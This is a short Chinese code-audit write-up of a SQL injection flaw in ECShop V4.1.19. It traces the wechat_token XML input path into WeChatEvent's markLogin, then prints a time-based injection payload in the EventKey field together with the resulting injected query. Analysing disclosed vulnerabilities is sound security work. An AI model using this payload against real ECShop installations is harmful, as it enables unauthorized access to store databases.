【代码审计】ECShop_V4.1.19 SQL注入漏洞 分析

关注user.php,当$action为wechat_token时

从php://input中获取xml数据,并解析,从中取出Event字段作为$method

最后用call_user_func_array调用new app\api\controller\WeChatEvent()#$method

我们来看app\api\controller\WeChatEvent()这个对象

它的scan方法调用markLogin,且从$data中提取EventKey和FromUserName字段

markLogin,存在sql注入

构造payload:

复制代码
<?xml version="1.0"?>
<xml>
  <Event>scan</Event>
 <EventKey>' OR SLEEP(5) OR '1'='1</EventKey>
  <FromUserName>test</FromUserName>
</xml>

拼接后变为

复制代码
select count(*) AS total_count from ecs_user_official where name = '' OR SLEEP(5) OR '1'='1'
相关推荐
last demo1 小时前
nfs服务器
linux·运维·服务器·php
q***92512 小时前
PHP搭建开发环境(Windows系统)
开发语言·windows·php
last demo5 小时前
iscsi服务器
linux·运维·服务器·php
q***42056 小时前
PHP使用Redis实战实录2:Redis扩展方法和PHP连接Redis的多种方案
开发语言·redis·php
苦瓜炒蛋挞6 小时前
小迪安全第二十二天-安全开发-PHP应用&数据库操作&留言板功能&第三方插件
数据库·网络安全·php·小迪安全
q***42828 小时前
IPV6公网暴露下的OPENWRT防火墙安全设置(只允许访问局域网中指定服务器指定端口其余拒绝)
服务器·安全·php
BingoGo9 小时前
# 9 个步骤教你如何安全地迁移数据库或字段
后端·php
流浪猪头拯救地球10 小时前
利用 Python 解密 / 加密 PDF 文件
python·pdf·php
JaguarJack10 小时前
9 个步骤教你如何安全地迁移数据库或字段
php·服务端
Jtti12 小时前
PHP项目缓存占用硬盘过大?目录清理与优化
java·缓存·php